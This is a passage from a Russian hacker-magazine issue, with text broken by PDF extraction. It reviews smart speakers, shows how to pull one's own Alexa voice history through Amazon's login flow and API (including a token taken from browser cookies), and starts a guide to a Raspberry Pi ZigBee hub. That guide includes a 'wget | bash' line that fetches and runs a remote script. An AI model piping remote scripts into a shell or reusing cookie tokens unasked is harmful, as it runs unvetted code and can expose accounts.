ложе ние  самой  Alexa.  Колон ки  с  Google  Home  в  этом  смыс ле  нас тра ивать
про ще:  их  нас трой ка  пол ностью  ведет ся  через  единс твен ное  при ложе ние
Home от Google.

Ка чес тво  зву ка  у  Sonos  One  отличное;  звук  гораз до  естес твен нее
и богаче, чем у любых колонок про изводс тва Amazon. Чис тая середи на и при‐ 
ятный бас (для любите лей низ ких час тот в линей ке пре дус мотрен саб вуфер).
Фун кци ональ ные  воз можнос ти  поража ют  вооб ражение.  Под держи вает ся
мно жес тво  раз нооб разных  стри мин говых  музыкаль ных  сер висов,  а  кро ме
того, в Sonos мож но штат ным обра зом про индекси ровать свой NAS‐сер вер.
При ложе ние  самос тоятель но  най дет  и  про индекси рует музыку. Пос ле  это го
по голосо вым коман дам ста нет воз можным про игры вать имен но ее и имен но
с NAS, а не из облачно го сер виса по под писке. Наконец, сис тему мож но рас‐ 
ширять:  добавить  вто рую  колон ку  для  сте реоз вучания,  сде лать  multiroom,
добавить саб вуфер.

На вер ное,  единс твен ное,  в  чем  Sonos  One  усту пает  колон кам
от  Amazon,  —  качес тво  рас позна вания  голоса  во  вре мя  про игры вания
музыки.  «Вычита ние»  собс твен ного  зву чания  реали зова но  не  так  хорошо,
как у Amazon. Впро чем, если качес тво рас позна вания было серь езной проб‐ 
лемой  в  пер вые  пол года,  то  сей час  его  под тянули  до  впол не  при емле мого
уров ня. В целом Sonos One, навер ное, луч шее решение с Alexa.

Harman Kardon Invoke и Cortana
К  сожале нию,  Кор тана  не  наб рала  той  популяр ности,  которая  дос талась
на  долю  аль тер натив ных  циф ровых  ассистен тов.  Кор тана  пре дус танов лена
на  все  компь юте ры с Windows 10,  но огра ничен ный набор под держи ваемых
язы ков и реги онов поз воля ет нас ладить ся всем богатс твом ее воз можнос тей
лишь поль зовате лям из США и Канады. В то же вре мя собс твен ной мобиль‐ 
ной ОС у Microsoft боль ше нет, как нет и собс твен ных моделей смар тфо нов.

Ком пания пыта ется пов лиять на положе ние дел, 
,  а  так же  в 

. Есть и отдель ное при ложе ние Cortana. В качес тве умных колонок
Кор тана пред став лена единс твен ной моделью — Harman Kardon Invoke.

встро ив под дер жку Cor‐
tana  в  при ложе ние  Outlook  для  iOS  и  Android Microsoft  Launcher
для Android

Что  пред став ляет  собой  HK  Invoke?  Это  доволь но    колон ка
с  при ятным  дизай ном  и  (забегая  впе ред)  хорошим  качес твом  зву ка.
К  сожале нию, дос тупна  толь ко  в США, но Amazon сог лаша ется прис лать ее
и  в  дру гие  стра ны.  Блок  питания  с  аме рикан ской  вил кой,  но  под держи вает
диапа зон 100–230 В.

сим патич ная

На чаль ная нас трой ка Invoke с Cortana — неболь шой ад. Во‐пер вых, для нас‐ 
трой ки необ ходимо уста новить где‐нибудь при ложе ние Cortana. Не подумай,
что  это  мож но  про делать  на  компь юте ре  с  Windows  10:  Cortana  там  есть,
но попыт ка нас тро ить  Invoke закан чива ется сооб щени ем в типич ном для Mi‐
crosoft  сти ле:  «Something’s  not  right.  Try  again  in  a  little  bit».  Нам  приш лось
исполь зовать  смар тфон  Lumia  950  с  Windows  10 Mobile,  без  которо го  нас‐ 
трой ка не шла.

Ак тивиру ется  ассистент  (пос ле  всех  обновле ний)  прос тым  сло вом  Cor‐
tana.  Качес тво  рас позна вания  хорошее,  но  под держи вает ся  исклю читель но
аме рикан ский вари ант англий ско го язы ка.

Для  про игры вания  музыки  есть  вари ант  под клю чения  через  Bluetooth
(циники  могут  под клю чить  на  вход  Invoke  колон ку  Amazon  Echo  Dot  и  нас‐ 
лаждать ся дос тупом к Amazon Music). Для голосо вого же управле ния тре бует‐ 
ся  плат ная  учет ная  запись  Spotify.  Под держи вают ся  сер висы  iHeartRadio
и TuneIn, но за пре дела ми США/Канады дос туп к ради останци ям будет очень
огра ничен ным. Обра ти вни мание, что для музыки через Spotify нуж на плат ная
под писка  (в  Google  Home  дос таточ но  бес плат ной),  iHeartRadio  не  будет
работать  за  пре дела ми  США  и  Канады  из‐за  огра ниче ний  по  геог рафии.
В резуль тате музыку ты услы шишь толь ко через TuneIn; это го дос таточ но, что‐ 
бы оце нить качес тво зву ка.

Ка чес тво  зву чания  колон ки  сба лан сирован ное.  Уро вень  низ ких  час тот
где‐то  посере дине  меж ду  пер вым  поколе нием  Amazon  Echo  и  Echo  Plus,
а сред ние и высокие час тоты вос про изво дят ся чище, чем на любой колон ке
от Amazon.

Мик рофоны:  отлично.  Рас позна вание,  в  том  чис ле  во  вре мя  про игры‐ 
вания, — прос то отлично.

Из  допол нитель ных  бонусов Microsoft  пред лага ет  пожиз ненную  под писку
на звон ки через Skype на аме рикан ские телефон ные номера. Зво нить мож но
пря мо с колон ки, номера дик товать голосом. А вот воз можнос ти рас ширения
у колон ки отсутс тву ют нап рочь.

Что же каса ется собс твен но Cortana, то вер дикт однозна чен: это — толь ко
для  США.  Прог ноз  погоды  выда ет  в  гра дусах  Фарен гей та;  слы шать,  что
за окном сей час 31 гра дус, — откро вен но стран но. Перек лючить на гра дусы
Цель сия  нель зя;  нас трой ки  в  при ложе нии  игно риру ются.  Количес тво  под‐ 
держи ваемых устрой ств умно го дома минималь ное.

Сто ит ли покупать колон ку, если ты не живешь в США или Канаде? Как ни
стран но, ответ не будет однознач ным. Да, за те 199 дол ларов, которые про‐ 
сили за колон ку на стар те про даж, покуп ка лишена вся кого смыс ла (раз ве что
с целью добавить еще одно го зверь ка в зоопарк, как это сде лали мы в нашей
лабора тории).  Ощу щения  от  устрой ства  такие  же,  как  от  мно гих  дру гих
поделок Microsoft:  идея  прек расная, желез ка  отличная,  но реали зация  соф‐ 
та — сыро, недоде лано, огра ничен но, с мас сой оши бок и нев нятны ми сооб‐ 
щени ями.

Од нако сегод ня эту колон ку мож но купить все го за 50 дол ларов (в США),
что  сущес твен но  дешев ле,  чем  прос тые  колон ки  с  Bluetooth,  обла дающие
замет но  худ шим  зву чани ем.  За  50  бак сов  покуп ка  име ет  смысл.  А  если  ты
вре мя от  вре мени  зво нишь на  телефон ные номера  в США,  то  пожиз ненная
под писка на неог раничен ные звон ки через Skype на аме рикан ские телефон‐ 
ные номера оку пит невысо кую сто имость колон ки.

Cortana + Alexa = ?
Са мый  рас простра нен ный  циф ровой  ассистент  на  выделен ных  устрой ствах
(колон ки,  экра ны,  прис тавки  к  телеви зору) —  Amazon  Alexa.  В  домах  поль‐ 
зовате лей  работа ет  более  8  мил лионов  умных  колонок  Amazon  Echo
с  Alexa —  и  это  не  счи тая  план шетов  Kindle  Fire,  прис тавок  Fire  TV  и  самых
раз нооб разных  устрой ств  сто рон них  про изво дите лей  (к  при меру,  Sonos
или Lenovo).

В  то  же  вре мя  чис ло  поль зовате лей,  на  устрой ствах  которых  уста нов лен
Google Assistant, исчисля ется сот нями мил лионов. Но мно гие ли дей стви тель‐ 
но поль зуют ся голосо вым ассистен том на смар тфо нах с Android? Количес тво
же колонок Google Home и Google Home Mini отно ситель но невели ко.

Об ратим ся к ста тис тике. В   при водят ся сле дующие циф‐ 
ры. Из  тех поль зовате лей,  у  кого есть  хотя бы одна  умная  колон ка,  в 71,9%
слу чаев  это  будет  что‐то  с  под дер жкой  Amazon  Alexa,  18,4%  при ходит ся
на долю Google Home.
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На долю Cortana с единс твен ной моделью Harman Kardon Invoke при ходит ся
все го  0,6%  рын ка —  и  это  кор рек тная  циф ра,  отра жающая  сос тояние  аме‐ 
рикан ско го рын ка.

Оче вид но, Microsoft такое положе ние дел не устра ива ло. В августе прош лого
года Microsoft и Amazon объ яви ли об   двух ассистен тов, а спус тя
год ком пани ям даже уда лось  .

ин тегра ции
вы пус тить рабочую бета‐вер сию

Две огромные ком пании боль ше года не пок ладая рук работа ли над тем,
что бы Кор тана мог ла выз вать Алек су коман дой «Cortana, open Alexa», пос ле
чего  пос леду ющие  коман ды  обра баты вались  бы  уже  Алек сой.  В  обратную
сто рону  все  работа ет  похожим  обра зом:  аме рикан ский  вла делец  колон ки
Echo может  ско ман довать  «Alexa,  open Cortana»,  пос ле  чего  получит  дос туп
ко  всем  спо соб ностям  циф рового  помощ ника  от  Microsoft.  К  сожале нию,
интегра ция,  даже  ког да  она  появит ся  офи циаль но,  пока  заяв лена  толь ко
для рын ка США.

За чем это нуж но обе им ком пани ям? Для Microsoft — оче вид но, это дос туп
ее  поль зовате лей  к  музыкаль ному  сер вису  Amazon Music  и  обширной  биб‐ 
лиоте ке из более 40 тысяч под держи ваемых Алек сой «уме ний» (skills). С точ ки
зре ния Amazon выгода менее оче вид на; тем не менее Cortana гораз до луч ше
справ ляет ся  с  типич но  офис ной  работой —  кален дарями  и  поч той Outlook,
интегра цией с рабочим Exchange. Получ ше обсто ят дела у Cortana и с собс‐ 
твен но «интеллек том»: Алек са уме ет боль ше, но Кор тана боль ше зна ет.

Apple HomePod и Siri
HomePod — пол ная про тиво полож ность Invoke. Никаких, прос то ни малей ших
проб лем  с  уста нов кой!  Если  ты  его  купил,  то  можешь  быть  уве рен  —  оно
будет работать, и ско рее хорошо, чем пло хо. Нас трой ка — тап нуть по колон ке
раз бло киро ван ным  iPhone или  iPad, «да», «да», «хм‐м? Ну давай» (на воп рос
о четырех месяч ной бес плат ной под писке на Apple Music). Все. Скуч но? Зато
работа ет. А вот без iPhone или iPad колон ку акти виро вать не удас тся.

Мик рофоны  в  HomePod  очень  хорошие  —  на  уров не  Amazon  Echo  Plus.
Звук — отличный; впро чем, про него уже мно го писали и без меня. Чувс тву‐ 
ется  работа  DSP:  даже  на  низ кой  гром кости  (для  меня  ком фор тный  уро‐ 
вень — поряд ка 15%) колон ка замет но «басит».

Ка чес тво зву ка похоже на Sonos One, но работа DSP ощу щает ся силь нее.
Кро ме  того,  у HomePod более  глу бокие басы. Если добавить вто рой Home‐
Pod, то получим сте реопа ру, а качес тво зву ка ста нет еще нем ного луч ше. Звук
в  целом сба лан сирован ный  (с  пре обла дани ем низ ких  час тот),  слу шать  при‐ 
ятно.

Ес ли срав нивать с Amazon Echo Plus, то звук HomePod гораз до более сба‐ 
лан сирован, глуб же бас. Колон ки игра ют в раз ных лигах. Если срав нить с In‐
voke  (Cortana) —  у  HomePod  глуб же  басы,  но  середи на  у  HK  мне  нра вит ся
боль ше. В срав нении с Google Home — прос то мощ нее,  глуб же бас,  луч ше
зву чит.

А  что  нас чет Siri?  Если  ты  поль зуешь ся  iPhone  и  при вык  к Сири,  которая
говорит на рус ском язы ке, то HomePod сде лает тебе отвыкнуть: Siri из Home‐
Pod готова общать ся на англий ском, немец ком, фран цуз ском или испан ском.
С уче том того, что внут ри колон ки — про цес сор из  iPhone 6 и самая све жая
iOS  12,  такое  огра ниче ние  выг лядит  совер шенно  искусс твен ным.  Впро чем,
Сири из Apple TV  так же не  говорит по‐рус ски, а это  тем более стран но,  что
Apple TV офи циаль но про дает ся в Рос сии.

По лез ность Siri  из HomePod доволь но сом нитель на. Да,  тут есть будиль‐ 
ники и музыка (за допол нитель ные день ги). Управле ние устрой ства ми умно го
дома? Толь ко HomeKit, а таких на рын ке срав нитель но мало, и сто ят они срав‐ 
нитель но дорого. База зна ний у Siri усту пает базе зна ний Alexa, а тем более
Google Home. Зато,  по  утвер жде ниям Apple,  ком пания  не  сох раня ет  записи
тво их голосо вых команд на сво их сер верах.

КАК ЭТО РАБОТАЕТ?
Все циф ровые ассистен ты раз ные, но прин цип работы у них похож. Боль шую
часть  вре мени  колон ка  «спит»;  активны  лишь  мик рофоны,  информа ция
от  которых  обра баты вает ся  локаль но  самым  эко ном ным  DSP.  В  спя щем
режиме  все,  к  чему  прис лушива ется  DSP,  —  это  кодовое  сло во  акти вации
циф рового  помощ ника.  Обра ти  вни мание:  на  дан ном  эта пе  вся  обра бот ка
про ходит локаль но.

Как  толь ко  DSP  рас позна ет  кодовое  сло во,  колон ка  вклю чает  запись,
которая будет переда на на сер вер для рас позна вания и обра бот ки в потоко‐ 
вом режиме. Даль нейшие дей ствия  выпол няют ся  на  сер вере:  рас позна ется
голосо вой  зап рос  и  опре деля ется,  к  какому  сер вису  или  раз ным  сер висам
его нуж но отпра вить.

Нап ример,  прос тей шая  коман да  «turn  on  the  lights»  сна чала  опре делит,
на какое устрой ство (в какой ком нате) пос тупил зап рос, к какой имен но груп‐ 
пе эле мен тов умно го дома отно сит ся сло во lights, про ана лизи рует саму груп‐ 
пу  lights и выберет, к каким имен но skills нуж но адре совать коман ду  (в моем
слу чае  это  смесь  из  ламп  Xiaomi  и  вык лючате лей  TP‐Link,  работа ющих
по совер шенно раз ным про токо лам). Соот ветс тву ющие коман ды будут адре‐ 
сова ны  к  соот ветс тву ющим  сер висам  (для  устрой ств,  работа ющих  по  про‐ 
токо лу  Zigbee,  колон ки  линей ки  Echo  Plus  могут  пос лужить  хабом),
при помощи сер вера получен ный от них резуль тат будет передан на колон ку
в виде голосо вого откли ка и озву чен поль зовате лю.

При мер но так выг лядит обра бот ка зап роса к Alexa.

Google Home работа ет похожим обра зом, а вот Apple HomePod име ет дело
с  зак рытой  эко сис темой  Apple,  что  замет но  упро щает  обра бот ку  команд.
В  час тнос ти,  устрой ства,  работа ющие  по  про токо лу  Apple  HomeKit,  исполь‐ 
зуют колон ку HomePod в качес тве локаль ного хаба; при этом никакие дру гие
устрой ства  умно го  дома поп росту  не  под держи вают ся. Про ще и  с музыкой:
если  Alexa  или  Google  Home  могут  играть  музыку  как  из  собс твен ных  биб‐ 
лиотек,  так и из  сто рон них  сер висов  (нап ример, Spotify),  то HomePod будет
адре совать голосо вые зап росы исклю читель но к собс твен ному сер вису Apple
Music.

ИЗВЛЕКАЕМ ДАННЫЕ ГОЛОСОВЫХ КОМАНД
Итак,  мы  разоб рались  с  тем,  что  зна ет  о  нас  раз работ чик  искусс твен ного
интеллек та и зачем ему это нуж но. А мож но ли как‐то доб рать ся до этих дан‐ 
ных?  Да,  мож но,  при чем  для  нес коль ких  ассистен тов  мы  уже  раз работа ли
соот ветс тву ющий софт.

Зап росы к Google Assistant
По жалуй, про ще все го извлечь зап росы к Google Assistant. В Google серь езно
подош ли к обес печению проз рачнос ти при ват ной информа ции. В тво ей учет‐ 
ной  записи Google  дос тупна  под робная  исто рия  всех  тво их  голосо вых  зап‐ 
росов. По край ней мере — в теории. Если открыть стра ницу   и выб‐ 
рать  катего рию  Assistant,  мож но  пос мотреть  исто рию  голосо вых  зап росов.
В отли чие от Amazon Google пре дос тавит дос туп толь ко к рас познан ным фра‐ 
зам в тек сто вом виде. Вклю чение катего рии Voice & Audio дол жно, казалось
бы, пре дос тавить дос туп к ори гиналь ным записям голосо вых команд, но это‐ 
го не про исхо дит. Тем не менее прос мотреть содер жимое даже рас познан‐ 
ных голосо вых команд — уже инте рес но.  .
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Зап росы к Amazon Alexa
У  Amazon  нет  такого  удоб ного  и  под робно го  пор тала,  как  у  Google,  одна ко
прос мотреть  исто рию  голосо вых  зап росов  все‐таки  мож но.  До  недав него
вре мени исто рия зап росов к Alexa была дос тупна исклю читель но через при‐ 
ложе ние  Alexa  для  смар тфо нов  и  план шетов.  Не  так  дав но  появил ся  и  спе‐ 
циаль ный  онлай новый  пор тал.  Для  того  что бы  прос мотреть  исто рию  сво их
зап росов к Alexa, нуж но перей ти по  .этой ссыл ке

От кро ется стра ница управле ния кон тентом и устрой ства ми.

Ес ли хотя бы на одном из тво их устрой ств уста нов лено при ложе ние Alexa  (и
ты нас тро ил вход в учет ную запись Amazon), то ты уви дишь ссыл ку на Alexa Pri‐
vacy. Если такой ссыл ки нет, то в тво ей учет ной записи, ско рее все го, нет дан‐ 
ных Alexa.

Пе рей ди по ссыл ке Alexa Privacy.

На сле дующей стра нице выбери Review Voice History.

Здесь тебе будут дос тупны все записан ные коман ды и рас познан ные диало ги
с циф ровым помощ ником.

А  что,  если  ты  хочешь  извлечь  все  записи,  а  не  прок ликивать мно гочис‐ 
ленные ссыл ки по одной? Для внут ренне го исполь зования мы написа ли соот‐ 
ветс тву ющую  ути литу,  но  ник то  не  меша ет  тебе  самос тоятель но  офор мить
скрипт.  Рас смот рим,  как  работа ет  дос туп  к  информа ции  в  учет ных  записях
Amazon.

Ав ториза ция на сер вере Alexa
Пер вый  шаг  скрип та  —  авто риза ция  на  сер вере  Amazon.  Авто ризо вать ся
мож но одним из трех спо собов:

че рез Web, исполь зуя логин и пароль  (так работа ют при ложе ния для  iOS
и Android);

•

при помощи FIRS login;•
при помощи мар кера аутен тифика ции (token‐based  login), который мож но
извлечь из cookie бра узе ра поль зовате ля.

•

У каж дого спо соба есть свои дос тоинс тва и недос татки.

Ав ториза ция через веб‑стра ницу:
ис поль зует ся при ложе ниями для iOS/Android;•
про токол OpenId2.0, архи тек тура REST;•
часть информа ции переда ется через cookie;•
для извле чения дан ных нуж но пар сить стра ницы в HTML.•

Ав ториза ция Alexa через FIRS Host:

зап росы отправ ляют ся на сер вер firs‐ta‐g7g.amazon.com/FirsProxy;•
ис поль зует ся некото рыми опен сор сны ми ути лита ми (lolsborn/readsyn).•

Че рез токен:

то кен  (мар кер  аутен тифика ции) мож но  извлечь  из  cookie  бра узе ра,  если
поль зователь заходил в свою учет ную запись Amazon;

•

cookie, которые содер жат нуж ные токены, корот коживу щие.•

Про ще  все го  исполь зовать  логин  через  веб.  Пер вым  эта пом  про исхо дит
пред варитель ное получе ние сес сии, извле кают ся скры тые поля вво да и все
необ ходимые куки по адре су

https://www.amazon.com/clouddrive/ref=nav_youraccount_clddrv

При  перехо де  выпол няет ся  нес коль ко  редирек тов;  ито говая  стра ница
перехо да будет каж дый раз отли чать ся. В ней содер жится нес коль ко скры тых
полей  вво да  (кро ме  оче вид ных  полей  логина  и  пароля).  Эти  поля  вмес те
с паролем и логином будут исполь зовать ся для авто риза ции.

Вто рой  этап —  генера ция  скры того  поля metadata1.  Это  поле  содер жит
информа цию  об  активнос ти  поль зовате ля  на  стра нице  авто риза ции  (что
нажал,  сколь ко  раз  нажал)  и  про чей  информа ции  отсле жива ния  активнос ти
поль зовате ля (ОС, бра узер, hash логина). Генери рует ся это поле в JavaScript
перед отправ кой зап роса на авто риза цию.

Тре тий  этап  —  непос редс твен но  авто риза ция.  Скры тые  поля,  логин,
пароль и metadata1 фор миру ют тело зап роса, который отправ ляет ся по адре‐ 
су

https://www.amazon.com/ap/signin

От вет содер жит куки, необ ходимые для получе ния дос тупа к дан ным Alexa.

Дос тупная информа ция
Для  дос тупа  к  дан ным  мы  исполь зуем  офи циаль ный  .
Через API дос тупна мас са информа ции, вклю чая:

Alexa  API  от  Amazon

ис торию зап росов: рас познан ные зап росы и запись голосо вых команд;•
спи сок устрой ств;•
пла теж ные инс тру мен ты (кар ты, бан ков ские сче та и про чее);•
се ти и пароли Wi‐Fi;•
ус трой ства умно го дома;•
име нован ные спис ки;•
дан ные о при лин кован ных учет ных записях;•
ком наты и груп пы;•
дан ные под писки Amazon Music;•
сло во‐акти ватор.•

Нас инте ресу ет самый пер вый пункт: исто рия зап росов, дос тупная по зап росу
к сер веру

https://alexa.amazon.com/api/activities

Из вле чение голосо вых снип петов Alexa
Для  начала  получим  ID  активнос ти,  для  которой  хотим  получить  голосо вой
снип пет (Recording ID):

https://alexa.amazon.com/api/activities?startTime=&size=50&offset=1

По луча ем  по  50  записей  за  зап рос.  Снип петы  дос тупны  в  фор мате  WAV,
закоди рован ном Base64. Сопутс тву ющая информа ция воз вра щает ся в фор‐ 
мате JSON.

Ма нипу лируя  парамет ром  startTime,  мож но  получить  всю  исто рию  зап‐ 
росов.

"activities": [ {
   "activityStatus": "SUCCESS",
   "creationTimestamp": 1519211054361
   "domainAttributes": "{\"answerText\":\"I'm excellent. I've got 
dinosaurs on my mind. If I was around back when they roamed the 
Earth, I wonder what they would have asked me. Maybe, \\\"Alexa, 
what's that massive fireball streaking across the sky?\\\"\", …,\"
questionText\":\"How are you?\" … }",
   "sourceDeviceIds": [ {
      "deviceType": "A3S5BH2HU6VAYF",
      "serialNumber": "G000LF0124270MVH" } ]
   "utteranceId":
"A3S5BH2HU6VAYF:1.0/2018/02/21/11/G090LF0964270MVH/04:10::TNIH_2V.
3e25613a‐c544‐4750‐ac0d‐4fa56fb53d00ZXV"
   ... } ]

На каж дый зап рос получим ответ сле дующе го вида.

Крат ко рас шифру ем дос тупные поля.
 — рас познан ный текст голосо вого зап роса и иден тифика тор

снип пета.
Description

 может при нимать ряд зна чений:activityStatus

SUCCESS•
DISCARDED_NON_DEVICE_DIRECTED_INTENT  (устрой ством  зап рос
не рас познан)

•

SYSTEM_ABANDONED (зап рос прер ван)•

 — иден тифика тор для дос тупа к снип пету.utteranceId

Для  получе ния  непос редс твен но  голосо вой  коман ды  активнос ти  исполь‐ 
зуем зна чение парамет ра utteranceId:

https://alexa.amazon.com/api/utterance/audio/data?id=

где id — это utteranceId активнос ти.
В ответ сер вер вер нет голосо вую запись в фор мате WAV.
При меры зап росов:

https://alexa.amazon.com/api/utterance/audio/data?id=A3S5BH2HU6VAYF:
1.0/2018/03/15/10/G090LF0964270MVH/11:26::TNIH_2V.
b079cf80‐0bca‐4f14‐bdbe‐5fb3d4bac993ZXV
https://alexa.amazon.com/api/utterance/audio/data?id=A3S5BH2HU6VAYF:
1.0/2018/03/15/10/G090LF0964270MVH/10:43::TNIH_2V.
aa06d885‐22e3‐4adc‐b684‐383c2f8613abZXV
https://alexa.amazon.com/api/utterance/audio/data?id=A3S5BH2HU6VAYF:
1.0/2018/03/15/10/G090LF0964270MVH/10:27::TNIH_2V.
55d51197‐970a‐4d1c‐bcb1‐afada4c62421ZXV

Дан ные при ложе ния Alexa мож но извлечь и непос редс твен но из смар тфо на.

Осо бого  смыс ла  в  этом нет:  исто рия  команд будет минималь ной,  основная
часть зап росов хра нит ся толь ко в обла ке.

Для  внут ренне го исполь зования мы написа ли  скрипт,  который поз воля ет
авто ризо вать ся  в  учет ной  записи  Amazon,  опре делить  стра ну  поль зовате ля
и извлечь всю дос тупную информа цию.

От дель ной голов ной болью ста ли учет ные записи с активной двух фактор ной
аутен тифика цией.  Мы  обна ружи ли,  что  про ходить  двух фактор ную  аутен‐ 
тифика цию  при ходит ся  отдель но  для  раз ных  катего рий  зап росов  (логин
и пароль оста ются преж ними и кеширу ются меж ду сес сиями).

Ана лиз  моей  собс твен ной  учет ной  записи  вер нул  1,6  Гбайт  дан ных,
из  которых  поряд ка  450 Мбайт  сос тавля ли WAV‐фай лы  голосо вых  зап росов
к Alexa за пос ледние два года.

ЗАКЛЮЧЕНИЕ
Итак,  мы  под робно  рас смот рели  сов ремен ных  циф ровых  ассистен тов  и  их
физичес кие  реали зации;  узна ли,  какие  дан ные  собира ют  Google  и  Amazon
и как получить  к ним дос туп. В нашей стра не циф ровые помощ ники боль ше
ассо циируют ся со смар тфо нами, и про изво дите ли не спе шат нарушать ста‐ 
тус‐кво: под дер жка рус ско го язы ка ни в одной из опи сан ных колонок не пре‐ 
дус мотре на.

https://www.amazon.com/mn/dcw/myx.html
https://alexa.amazon.com/api
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ТРЮКИ

На чав  конс тру иро вать  умный  дом,  слож но  быва ет  оста‐ 
новить ся на про дук ции одно го про изво дите ля. А это зна чит,
что  тебя ждет  зоопарк  стан дартов,  которые слож но  увя зать
друг  с  дру гом,  и  рядок  хабов,  каж дый  из  которых  занима ет
розет ку (и мес то в тво ей жиз ни). Нель зя ли сде лать уни вер‐ 
саль ный спо соб управле ния умны ми устрой ства ми, которые
работа ют по ZigBee и Z‐Wave? Мож но! И не при дет ся даже
покупать кон трол лер ZigBee за 50 дол ларов.

По водом для  того,  что бы сме шать дома  умные  устрой ства раз ных  про изво‐ 
дите лей, может быть желание сэконо мить, выбирая наибо лее выгод ные вари‐ 
анты,  или  наобо рот —  стрем ление  взять  все  самое  луч шее. Но  чаще  все го
ответ более про заич ный: «так выш ло». Сна чала ты покупа ешь лам почки и дат‐ 
чики дви жения Philips, а потом обна ружи ваешь, что, к при меру, умных розеток
эта ком пания не дела ет вов се, а тебе позарез нуж на одна из них.

Опять же, если ты выб рал Xiaomi  (а пред ложение этой ком пании — одно
из  самых  выгод ных),  то  тебя  ждет  хаб  с  китай ским  соф том,  под клю чен ный
к  фир менно му  сер вису.  С  точ ки  зре ния  безопас ности  —  далеко  не  самый
луч ший вари ант.

В этой статье я покажу, как сконс тру иро вать уни вер саль ный хаб на осно ве
Raspberry  Pi  Zero W и  экс тре маль но  дешево го  кон трол лера.  А  поможет мне
в  этом прог рамма под  наз вани ем  zigbee‐shepherd. Она  под держи вает мно‐ 
жес тво  устрой ств  ZigBee,  в  том  чис ле  и  вык лючате ли  Xiaomi  на  батарей ках
серии Aqara, и поз воля ет писать скрип ты на JavaScript.

ВЫБИРАЕМ И ПРОШИВАЕМ ЖЕЛЕЗО
Сна чала нуж но опре делить ся, на каком железе собирать хаб. В прин ципе, ты
можешь взять что угод но (хоть свой основной компь ютер, если ты его не вык‐ 
люча ешь),  но  Raspberry  Pi  Zero W —  это  свер хком пак тный,  дешевый  и  дос‐ 
таточ но про изво дитель ный вари ант.

Мик рокомпь ютер Raspberry Pi Zero W

Zigbee‐shepherd  сов местим  с  чипами  ZigBee  про изводс тва  Texas  Instrument
CC2530 и CC2531.  У  TI  есть референ сный USB‐стик 

 за 49 дол ларов, но есть и пол ная докумен тация и схе мы по сбор ке
такого  сти ка,  поэто му  будет  нес ложно    в  Под небес ной  такой  же  стик,
но за 7 дол ларов.

CC2531 USB Evaluation
Module Kit

най ти

Фир менный стик Texas Instrument на чипе CC2531

Для  работы  сти ка  с  zigbee‐shepherd  пот ребу ется  ,
а что бы ее зашить, понадо бит ся прог рамма тор   за 49 дол ларов
или его китай ская копия за 12.

файл  про шив ки  с  GitHub
CC Debugger

Texas Instrument CC Debugger

Про шива ют USB‐стик с помощью офи циаль ной ути литы TI 
. Что бы все зарабо тало, нуж но под клю чить CC Debugger в один порт

компь юте ра, стик ZigBee — в дру гой и шлей фом соеди нить их меж ду собой.

SmartRF Flash Pro‐
grammer

Под клю чение CC Debugger к сти ку ZigBee для про шив ки

В  нас трой ках  прог рамма тора  выбира ем  про шива емое  устрой ство  (1),  про‐ 
шив ку (2), зада ем нуж ные дей ствия (3) и про шива ем (4).

SmartRF Flash Programmer для про шив ки сти ка ZigBee

Про верить, что USB‐стик удач но про шил ся и работа ет, мож но, под клю чив его
к Raspberry Pi Zero W и выпол нив коман ду

$ ls /dev

Ус трой ство будет отоб ражать ся в сис теме как ttyACM0.

При под клю чении сти ка появ ляет ся устрой ство ttyACM0

СТАВИМ СЕРВЕР ZIGBEE-SHEPHERD НА RASPBERRY PI ZERO W
Ус танов ка  zigbee‐shepherd  и  сопутс тву ющих  пакетов  будет  про водить ся
на пос ледней вер сии ОС Raspbian для Raspberry Pi Zero W — Stretch.

Zigbee‐shepherd написан на JavaScript и работа ет на Node.js. Для начала
ста вим Node.js:

$ wget ‐O ‐ https://raw.githubusercontent.com/sdesalas/node‐pi‐zero/
master/install‐node‐v.lts.sh | bash`

Для уста нов ки рас ширений из npm нуж но уста новить ути литы для сбор ки:

$ sudo apt‐get install ‐y build‐essential

И сама уста нов ка zigbee‐shepherd:

$ npm install zigbee‐shepherd ‐ ‐save

Про верить, пра виль но ли работа ет zigbee‐shepherd, мож но, запус тив скрипт
. Во вре мя работы скрипт выводит информа цию о каж дом

эта пе добав ления устрой ства и вре мя выпол нения опе рации.
zigbee‐server.js

var ZShepherd = require('zigbee‐shepherd');
// Create a ZigBee server
var zserver = new ZShepherd('/dev/ttyACM0');
zserver.on('ready', function () {
   console.log('Server is ready. Allow devices to join the network 
within 60 seconds');
   zserver.permitJoin(60);
});
zserver.on('permitJoining', function (joinTimeLeft) {
   console.log(joinTimeLeft);
});
// Start the server
zserver.start(function (err) {
   if (err) console.log(err);
});

За пус каем zigbee‐shepherd в режиме отладки:

$ sudo DEBUG=* node zigbee‐server.js

Debug‐вывод при добав лении устрой ства ZigBee

INFO

На эта пе раз работ ки  скрип та для Node.js  всег да
исполь зуй  отла доч ный  режим.  Вывод  при  этом
более под робный,  лег че отло вить ошиб ки,  а  zig‐
bee‐shepherd показы вает все дан ные, которые он
отправ ляет и получа ет.

РАБОТАЕМ С ВЫКЛЮЧАТЕЛЯМИ XIAOMI ИЗ ZIGBEE-SHEPHERD

Вык лючате ли Xiaomi Aqara на батарей ках, работа ющие по про токо лу
ZigBee

Пер вым делом сле дует добавить устрой ство ZigBee в сеть. Для это го сна чала
нуж но сбро сить его нас трой ки на завод ские и тем самым уда лить информа‐ 
цию  о  пре дыду щей  сети,  если  оно  было  добав лено  преж де.  Ком бинация
сбро са и добав ления устрой ства для вык лючате лей Xiaomi Aqara сле дующая:
зажать кноп ку на пять секунд, пока све тоди оды не нач нут мигать, пос ле чего
отпустить  и  ждать,  ког да  закон чится  про цесс  добав ления.  Если  вклю чен
дебаг, то при добав лении устрой ства выводит ся под робный лог. Добав ление
устрой ства может занять до одной минуты.

Пос ле добав ления устрой ства важ но еще пра виль но с ним работать. Zig‐
bee‐shepherd  не  пре дос тавля ет  веб‐интерфей са  для  добав ления  устрой ств
и  управле ния ими,  вмес то  это го мощ ный JS API  поз воля ет  получить пол ный
кон троль над любым устрой ством и написать собс твен ную сис тему авто мати‐ 
зации.

В   есть пол ное опи сание всех фун кций. Но что бы быс трее разоб рать‐ 
ся с ними, нуж но понимать прог рам мную струк туру устрой ства.

ви ки

  Каж дое  устрой ство  ZigBee  име ет  уни каль ный  48‐бит ный
MAC‐адрес, он зашит в девайс, и сбро сить его невоз можно. По MAC‐адре су
мож но обра щать ся к устрой ству и получать информа цию о нем.

IEEE  address.

. В устрой стве может быть нес коль ко фун кций, нап ример дат чик
тем перату ры  и  влаж ности  или  вык лючатель  с  дву мя  кноп ками.  Для  каж дой
фун кции устрой ства соз дает ся отдель ный Endpoint.

Endpoint

